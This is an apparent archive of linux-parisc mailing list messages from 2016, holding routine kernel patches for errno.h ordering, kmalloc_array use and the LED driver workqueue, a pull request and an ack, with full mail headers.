+++ b/arch/parisc/include/uapi/asm/errno.h
@@ -97,10 +97,10 @@
 #define	ENOTCONN	235	/* Transport endpoint is not connected */
 #define	ESHUTDOWN	236	/* Cannot send after transport endpoint shutdown */
 #define	ETOOMANYREFS	237	/* Too many references: cannot splice */
-#define EREFUSED	ECONNREFUSED	/* for HP's NFS apparently */
 #define	ETIMEDOUT	238	/* Connection timed out */
 #define	ECONNREFUSED	239	/* Connection refused */
-#define EREMOTERELEASE	240	/* Remote peer released connection */
+#define	EREFUSED	ECONNREFUSED	/* for HP's NFS apparently */
+#define	EREMOTERELEASE	240	/* Remote peer released connection */
 #define	EHOSTDOWN	241	/* Host is down */
 #define	EHOSTUNREACH	242	/* No route to host */
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture fixes for 4.8-rc3
Date: Sat, 20 Aug 2016 20:02:20 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20160820180220.GA5144@ls3530.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1471716159 9625 195.159.176.226 (20 Aug 2016 18:02:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 20 Aug 2016 18:02:39 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 20 20:02:35 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bbAbK-0002D9-5W
	for glpp-linux-parisc@m.gmane.org; Sat, 20 Aug 2016 20:02:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753616AbcHTSCe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 20 Aug 2016 14:02:34 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:59985 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753192AbcHTSCd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 20 Aug 2016 14:02:33 -0400
Original-Received: from ls3530.box ([92.203.47.77]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MY7ZA-1bfeiG0gJk-00Upjc; Sat, 20 Aug 2016 20:02:24
 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:qpM8jm0MdbwxwldilBE2w+nsunyebC0aDXlx20F8d43YtgWlj7M
 sq0nS9+zpacKt8ZKZS5Mv9g5AzOTNDzRmsvCopFg339qBa0u7oHFlJQINN0+irWj2VYAeAB
 fa6A2+a0qTEzKpGiP/Au6aiiBUtA+Eh1DAHX/T5vXUAWMZ/pEp/vfLUHR8oS621a3f4Rg2s
 GfyWsz7g/dhA0wsi9iCeg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6C1/NHU/Toc=:KGwxlnYB1Bz6yfqrbVHKFZ
 ONR4SfErw/rnc40bWIe0EgFMuH0rBoT1JvUaaSbLxL8/yS5Er4SyB/9LLCW12yP7T+XOncOqZ
 UcpwFyHNu1U/It4RVMOoD0rjXDVgv/8GhC4uG5GN3FXVqkI6hLSIrQjZ2lQMzfwBH2WL1VDbs
 OKMNPcBEwabCQNugvVCrKkRVjdTTRTUYrAXhOh7umf/BKHoJWZPtYEG0uU4/k6zakinYXSXVT
 4IpOGsHrrCr0oJ/n4HZ//a2PTzg3rRR2fsQYcafRqAzD7OW0ull64vKL08B/JjfTeVDT/tcLZ
 SklS9ILZiOFLViQ2McGrH9RSXLdDebgQNueasd/LGtBV2p/VYMqPciARZaRMrNBTBCQoYoF4c
 79Rqj36YHdZGdcPgyNkCNf9ClNcyzcBtRuBu+5cK8LXFS63AEbQPscJTNLw0GX8BrbZ67+SqQ
 w1MiRqJYkMW2LBJNS+42utO6eqU+21Fh7GoLLIRp7omnBpcxztTrQMHiXH+7p+EKXPany+0Tc
 beT0Da11+HAdEqfxQdgjxoBorNlw+egiqdzNtkwWI5pfArUsrmEHtkxkDSSO2snV4ANOQVe/R
 Fn4wfzhCDdztDrxaCZ7xDguxt8P5LVHNl8DKUYQWeZ1WGAyzlvqcWqejfiHOS5DieDHS3QbqR
 ntbTqWmuh4mUa32wFT2/t82PlIECP+VOi9kwXSkoEIExOefdc8JIBGBvwJQXuoW2xvw890aVP
 r43UboQxezA1T1NIL28Pjj0+vycNB4Dn3d5apUZqw30QZMITHfLl+y+ddAo=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26946 gmane.linux.kernel:2290994
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26946>

Hi Linus,

Please pull two fixes for the parisc architecture for kernel 4.8-rc3 from 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.8-2

The first patch ensures that the high-res cr16 clocksource (which was added in
kernel 4.7) gets choosen as default clocksource for parisc.

The second patch moves the #define of EREFUSED down inside errno.h and thus
unbreaks building the gccgo compiler.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (2):
      parisc: Fix automatic selection of cr16 clocksource
      parisc: Fix order of EREFUSED define in errno.h

 arch/parisc/include/uapi/asm/errno.h |  4 ++--
 arch/parisc/kernel/processor.c       |  8 --------
 arch/parisc/kernel/time.c            | 12 ------------
 3 files changed, 2 insertions(+), 22 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: SF Markus Elfring <elfring@users.sourceforge.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: [PATCH] PA-RISC-inventory: Use kmalloc_array() in
 add_system_map_addresses()
Date: Sun, 28 Aug 2016 11:50:20 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <c4e387d2-2be0-737f-b22e-f4e358f4f2ba@users.sourceforge.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1472377840 25319 195.159.176.226 (28 Aug 2016 09:50:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 28 Aug 2016 09:50:40 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.2
Cc: LKML <linux-kernel@vger.kernel.org>,
        kernel-janitors@vger.kernel.org,
        Julia Lawall <julia.lawall@lip6.fr>,
        Paolo Bonzini <pbonzini@redhat.com>
To: linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
        "James E. J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 28 11:50:35 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bdwja-00061l-C8
	for glpp-linux-parisc@m.gmane.org; Sun, 28 Aug 2016 11:50:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755295AbcH1Jue (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 28 Aug 2016 05:50:34 -0400
Original-Received: from mout.web.de ([212.227.15.14]:58402 "EHLO mout.web.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1755236AbcH1Jud (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 28 Aug 2016 05:50:33 -0400
Original-Received: from [192.168.1.3] ([77.181.152.74]) by smtp.web.de (mrweb003) with
 ESMTPSA (Nemesis) id 0Lw0vl-1b3oY73PZt-017ntF; Sun, 28 Aug 2016 11:50:22
 +0200
X-Provags-ID: V03:K0:EICsjCOs8ZbhJuQOQVuEWaWjF7FMbliha2Ms6nem3jDb+WcQUwd
 n+1kevmiyvAkn86V4YqLSYVfL7yovo0MuaSXDuqB9I6uRbR1aXOvMSXD01cIhWqcSEHHk/K
 nGvzMHqWYMY04nuc6xUXB5RFQpdfEsbRYJ+enbcFBLWIKO1OUh0pXO6/v7vM3DXPfmawXUW
 pMWJ4QK5i2QdbUfFpIE8w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:tg/YUnGm0Bw=:1SlKl8DHSUDBVbHnn4mucL
 TPXVauCNvXNQKmJA5vXWlcp8/snRs09noB10yBet2bMCCRXwggTMSqtfrAzNfu4+fEUd/Bhco
 KlOgxJPPEFLhDNODPT1jJZll9HA45LBV9fMjrxTf7A0Xlux/R+gjbvWslpLp706PiHH6LAbXF
 GCcjOHM6nDY/VzqDm1eQ8/Az1ijDNX0LIlvzNR+mESsPPhaPcm8soB59irLyobaHEZAp5RlOA
 mA1+/Q2mX0zLZoCWF2lX+rlIxkgSdVaKV5fxBoRTUqMDUiFoVX9FtHuH67EPoGcj8EiPwLahg
 L1RRNnaxDsuSYVshQKvuewtfVoTPa+fvubNM1+QUPp0AIN0OcxE1hZi7QlRaHwtSOJcYJOKS5
 U6IqOoxg8y4S2AGD9mJqvSBlb1UK1gnJsS5bg7SXGOGg3zWLh11wlg5tdfcGD060S3G1+feWj
 jxGKnSA6OnrWd4kB4Nx2rHOKHt+EynM6TZvihIRphSvhIEuZpUMQF288gdJgM+PNa/XqQ1kQF
 96vHQOyiT80KbSgRayfvVeMfQv12QwTolbl7fhXm27M3sx+Oo1c0ds6e1uKRV3V+ET0IllCuu
 uqL+aKMyY5wHIkdBZ2mLeMPwZHQ5EnYI9UlBgC1bH4uJ/mLb/U29sluPFn3Hr7xVDgqpPI+bt
 DStmxmXLBKCcKQ2q9mEFbKGy8zjmXfzivVuCaKMb12wieqdDOwCBhdEw17JXTQOS0KE8Po4cd
 A0MirvfU5P3ea0GoJWAP+7UtxNIxzl+3XLGuLyQ5iJyi8RRAJwGaevWqGYlmfBaVXSY+AP7A 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26947 gmane.linux.kernel:2295850 gmane.linux.kernel.janitors:39103
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26947>

From: Markus Elfring <elfring@users.sourceforge.net>
Date: Sun, 28 Aug 2016 11:40:53 +0200

* A multiplication for the size determination of a memory allocation
  indicated that an array data structure should be processed.
  Thus use the corresponding function "kmalloc_array".

  This issue was detected by using the Coccinelle software.

* Replace the specification of a data type by a pointer dereference
  to make the corresponding size determination a bit safer according to
  the Linux coding style convention.

Signed-off-by: Markus Elfring <elfring@users.sourceforge.net>
---
 arch/parisc/kernel/inventory.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/kernel/inventory.c b/arch/parisc/kernel/inventory.c
index f0b6722..545f9d2 100644
--- a/arch/parisc/kernel/inventory.c
+++ b/arch/parisc/kernel/inventory.c
@@ -506,7 +506,7 @@ add_system_map_addresses(struct parisc_device *dev, int num_addrs,
 	long status;
 	struct pdc_system_map_addr_info addr_result;
 
-	dev->addr = kmalloc(num_addrs * sizeof(unsigned long), GFP_KERNEL);
+	dev->addr = kmalloc_array(num_addrs, sizeof(*dev->addr), GFP_KERNEL);
 	if(!dev->addr) {
 		printk(KERN_ERR "%s %s(): memory allocation failure\n",
 		       __FILE__, __func__);
-- 
2.9.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhaktipriya Shridhar <bhaktipriya96@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: led: Remove deprecated create_singlethread_workqueue
Date: Tue, 30 Aug 2016 22:03:43 +0530
Lines: 99
Approved: news@gmane.org
Message-ID: <20160830163343.GA25952@Karyakshetra>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1472574834 21554 195.159.176.226 (30 Aug 2016 16:33:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 30 Aug 2016 16:33:54 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Tejun Heo <tj@kernel.org>, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 30 18:33:48 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1belyu-00052k-0Y
	for glpp-linux-parisc@m.gmane.org; Tue, 30 Aug 2016 18:33:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755626AbcH3Qds (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 30 Aug 2016 12:33:48 -0400
Original-Received: from mail-pf0-f193.google.com ([209.85.192.193]:36552 "EHLO
        mail-pf0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754622AbcH3Qdr (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 30 Aug 2016 12:33:47 -0400
Original-Received: by mail-pf0-f193.google.com with SMTP id y134so1399872pfg.3;
        Tue, 30 Aug 2016 09:33:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :user-agent;
        bh=Ies3xL06SpRzEjieBA0onjaPQkL2J0ZvuYhFu1RIp2o=;
        b=ZuUGOIPSB9gbUyq2DI8K7BtGuk2TcvlxOL/0Wv8V6C2g6h72rvN55lo5DxrUXOapb5
         y0muhMzomdy6LdpErFvCJFqLsEKfn8IA4vKWYu2S1qgBasWWjAWkx0yrVt6oJ/n4Ko4f
         wOtGanIVotIWF0YJuQ0YJnjyU07np0SV4PWYSlxCtJPE3JhiLJ4RvN/0F+wpZcazgdFJ
         SP7QcBonPKOtnAUoXxcnlbj5/TH6t0CieX0TN1cHyV24RwiudskAi0EQG/Y9tiAWQBzt
         a45+0Xmqgnopny4dE9zGuPd2BplDaSrR8aBvJPRiFFKgoQAatLrtl2OVnP2UO1gGIOHq
         hODg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:user-agent;
        bh=Ies3xL06SpRzEjieBA0onjaPQkL2J0ZvuYhFu1RIp2o=;
        b=dNRg5fSSXIobO4ihAWFj3Tu9FaqdswriD/EyK3Fz9T84o/ZIzeLnZThoOtaR9r3Nax
         0x7ZPQ6CjgqQY8K1c/HeBQeHh+7WiH9i30NzmqvGgL+16e0tBgZoquqtdU+jjdZEhDwm
         OI56tV/qv4/tgAZ9jz9ZNZUQzUvHDVXB8iINb6GUjrgd5F6GwyjgWAWMm1YbiXP1Vkzw
         cJSQlg8I/DhyjQzRUOuc55hfhWlzct8/K8qx4W2Lj8C5r+yUVKxqymxCykKMVGYteSYu
         E11ZyNbTL/NPrSuTjCY7LHdAY3hU2NsucQ81a1QPWy4XP45bmJsXHlQQy2UJG7Txi0+E
         Ii8w==
X-Gm-Message-State: AE9vXwMgxpndg15SH55vbIeKaEvUTMXGnviiGBQ54uZts0hTlL8K7A43LzpAMbOSVSqBAw==
X-Received: by 10.98.57.90 with SMTP id g87mr7742401pfa.106.1472574826253;
        Tue, 30 Aug 2016 09:33:46 -0700 (PDT)
Original-Received: from Karyakshetra ([14.139.82.6])
        by smtp.gmail.com with ESMTPSA id k78sm58390383pfa.78.2016.08.30.09.33.45
        (version=TLS1 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Tue, 30 Aug 2016 09:33:45 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26948 gmane.linux.kernel:2297234
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26948>

The workqueue "led_wq" queues a single work item &led_task and hence
doesn't require ordering. It is involved in managing when and which
chassis LCD/LED gets updated and hence, is not being used on a memory
reclaim path. Hence, it has been converted to use system_wq.

System workqueues have been able to handle high level of concurrency
for a long time now and hence it's not required to have a singlethreaded
workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue
created with create_singlethread_workqueue(), system_wq allows multiple
work items to overlap executions even on the same CPU; however, a
per-cpu workqueue doesn't have any CPU locality or global ordering
guarantee unless the target CPU is explicitly specified and thus the
increase of local concurrency shouldn't make any difference.

The work item has been sync cancelled in led_halt to ensure that
there are no pending tasks while disconnecting the driver.

Signed-off-by: Bhaktipriya Shridhar <bhaktipriya96@gmail.com>
---
 drivers/parisc/led.c | 23 ++++++-----------------
 1 file changed, 6 insertions(+), 17 deletions(-)

diff --git a/drivers/parisc/led.c b/drivers/parisc/led.c
index b482431..89dff2e 100644
--- a/drivers/parisc/led.c
+++ b/drivers/parisc/led.c
@@ -67,7 +67,6 @@ static char lcd_text_default[32]  __read_mostly;
 static int  lcd_no_led_support    __read_mostly = 0; /* KittyHawk doesn't support LED on its LCD */


-static struct workqueue_struct *led_wq;
 static void led_work_func(struct work_struct *);
 static DECLARE_DELAYED_WORK(led_task, led_work_func);

@@ -140,8 +139,7 @@ static int start_task(void)
 	if (lcd_no_led_support) return 0;

 	/* Create the work queue and queue the LED task */
-	led_wq = create_singlethread_workqueue("led_wq");
-	queue_delayed_work(led_wq, &led_task, 0);
+	schedule_delayed_work(&led_task, 0);

 	return 0;
 }
@@ -524,12 +522,8 @@ static int led_halt(struct notifier_block *nb, unsigned long event, void *buf)
 	default:		return NOTIFY_DONE;
 	}

-	/* Cancel the work item and delete the queue */
-	if (led_wq) {
-		cancel_delayed_work_sync(&led_task);
-		destroy_workqueue(led_wq);
-		led_wq = NULL;
-	}
+	/* Cancel the work item */
+	cancel_delayed_work_sync(&led_task);

 	if (lcd_info.model == DISPLAY_MODEL_LCD)
 		lcd_print(txt);
@@ -594,9 +588,7 @@ int __init register_led_driver(int model, unsigned long cmd_reg, unsigned long d
 	register_reboot_notifier(&led_notifier);

 	/* Ensure the work is queued */
-	if (led_wq) {
-		queue_delayed_work(led_wq, &led_task, 0);
-	}
+	schedule_delayed_work(&led_task, 0);

 	return 0;
 }
@@ -644,8 +636,7 @@ int lcd_print( const char *str )
 	    return 0;

 	/* temporarily disable the led work task */
-	if (led_wq)
-		cancel_delayed_work_sync(&led_task);
+	cancel_delayed_work_sync(&led_task);

 	/* copy display string to buffer for procfs */
 	strlcpy(lcd_text, str, sizeof(lcd_text));
@@ -664,9 +655,7 @@ int lcd_print( const char *str )
 	}

 	/* re-queue the work */
-	if (led_wq) {
-		queue_delayed_work(led_wq, &led_task, 0);
-	}
+	schedule_delayed_work(&led_task, 0);

 	return lcd_info.lcd_width;
 }
--
2.1.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tejun Heo <tj@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: led: Remove deprecated
 create_singlethread_workqueue
Date: Wed, 31 Aug 2016 10:05:56 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20160831140556.GF12660@htj.duckdns.org>
References: <20160830163343.GA25952@Karyakshetra>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1472652369 32742 195.159.176.226 (31 Aug 2016 14:06:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 31 Aug 2016 14:06:09 +0000 (UTC)
User-Agent: Mutt/1.7.0 (2016-08-17)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: Bhaktipriya Shridhar <bhaktipriya96@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Aug 31 16:06:01 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bf69P-0007TB-Ub
	for glpp-linux-parisc@m.gmane.org; Wed, 31 Aug 2016 16:06:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934805AbcHaOF7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 31 Aug 2016 10:05:59 -0400
Original-Received: from mail-yw0-f195.google.com ([209.85.161.195]:34632 "EHLO
        mail-yw0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S934317AbcHaOF6 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 31 Aug 2016 10:05:58 -0400
Original-Received: by mail-yw0-f195.google.com with SMTP id j12so1973011ywb.1;
        Wed, 31 Aug 2016 07:05:58 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=SbTfPO1QX2703OHX372QoqulosyaSbFt8JdjPQpx6+w=;
        b=UhI511ZhsyjOA7jZ8csUjGRDZ0WI9Llq/i5hT2r9VOE6Cv+ekjkeXvC3uk5L5N8f+R
         ZABWxfh7WdVJvUwO9lw08Z9cSXHPfDydOMqyuVSn4UvKqtvidGHqlZHc2xzX7O6Z0C71
         c6Dk46Dq/UbccFVX571jevY2O2jdxB1fhuF0oSkJZWiZDF6CarLrHIPQS6Okok7NnAdY
         kwBsRqoZq/69vRyKMT0tXXaVPjxT2nEkVVg7PAcKoKuwYNpN/3LNl/AswVVdQH8TQQdo
         KxkCglzbyCQ+a5lWwYuSS9QY3RYdWbT3eAvGtF7l6cbgXh7Z68IupzcZv3pa5hVGpHAR
         l2lw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:sender:date:from:to:cc:subject:message-id
         :references:mime-version:content-disposition:in-reply-to:user-agent;
        bh=SbTfPO1QX2703OHX372QoqulosyaSbFt8JdjPQpx6+w=;
        b=QY/WLHgHmStMlVER6KsdJ00M5hZ3OdSGoxGPfyWOvxD3+HBFmDFyEUNPWdGf+shyYj
         8Ejs66mJbgo6tPVjnZuvzPpOgLPAcmbyPraMWhTiZpUAPz02+uH6KkF73GElQK6MYd1z
         kJEy8I1GG09qchSRUpmtJimRTc7QOtv92/+B/4aPeihJ8H+SNsJSBamiRk35fLTGoRYE
         vhsuHAkOiyZOdLVAAVMbN6ab+ToN38+n+C/0j1xHGF/nvleDw2PalVbVIKJR1mR+i4r9
         WKMYLLL4YhkiswaT8XEV2scJKqhD2mui9wj9id6OTnSzMxq+BmYfX+yVsf5cS0UzwREu
         v1Hw==
X-Gm-Message-State: AE9vXwNZOslaYpyIrma2xhTaT7OTMHoe9tBkMhB31k3M66IoWg95BXt5DGuXnGRDOKKhnw==
X-Received: by 10.129.48.198 with SMTP id w189mr8913111yww.126.1472652357560;
        Wed, 31 Aug 2016 07:05:57 -0700 (PDT)
Original-Received: from localhost ([2620:10d:c091:200::3:cf8e])
        by smtp.gmail.com with ESMTPSA id r124sm12029ywg.50.2016.08.31.07.05.56
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 31 Aug 2016 07:05:56 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20160830163343.GA25952@Karyakshetra>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26949 gmane.linux.kernel:2298158
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26949>

On Tue, Aug 30, 2016 at 10:03:43PM +0530, Bhaktipriya Shridhar wrote:
> The workqueue "led_wq" queues a single work item &led_task and hence
> doesn't require ordering. It is involved in managing when and which
> chassis LCD/LED gets updated and hence, is not being used on a memory
> reclaim path. Hence, it has been converted to use system_wq.
> 
> System workqueues have been able to handle high level of concurrency
> for a long time now and hence it's not required to have a singlethreaded
> workqueue just to gain concurrency. Unlike a dedicated per-cpu workqueue
> created with create_singlethread_workqueue(), system_wq allows multiple
> work items to overlap executions even on the same CPU; however, a
> per-cpu workqueue doesn't have any CPU locality or global ordering
> guarantee unless the target CPU is explicitly specified and thus the
> increase of local concurrency shouldn't make any difference.
> 
> The work item has been sync cancelled in led_halt to ensure that
> there are no pending tasks while disconnecting the driver.
> 
> Signed-off-by: Bhaktipriya Shridhar <bhaktipriya96@gmail.com>

Acked-by: Tejun Heo <tj@kernel.org>

Thanks.

-- 
tejun
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Julia Lawall <Julia.Lawall@lip6.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.janitors,gmane.linux.alsa.devel,gmane.linux.ports.parisc
Subject: [PATCH 0/6] constify snd_pcm_ops structures
Date: Fri,  2 Sep 2016 00:13:08 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <1472767994-26269-1-git-send-email-Julia.Lawall@lip6.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1472769088 19367 195.159.176.226 (1 Sep 2016 22:31:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 1 Sep 2016 22:31:28 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org, Takashi Iwai <tiwai@suse.com>,
        alsa-devel@alsa-project.org, linux-kernel@vger.kernel.org,
        linux-parisc@vger.kernel.org
To: Jaroslav Kysela <perex@perex.cz>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 02 00:31:24 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bfaW0-000497-JG
	for glk-linux-kernel-3@m.gmane.org; Fri, 02 Sep 2016 00:31:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754022AbcIAWbS (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 1 Sep 2016 18:31:18 -0400
Original-Received: from mail3-relais-sop.national.inria.fr ([192.134.164.104]:43473
        "EHLO mail3-relais-sop.national.inria.fr" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1753941AbcIAWbP (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 1 Sep 2016 18:31:15 -0400
X-IronPort-AV: E=Sophos;i="5.30,268,1470693600"; 
   d="scan'208";a="191765094"
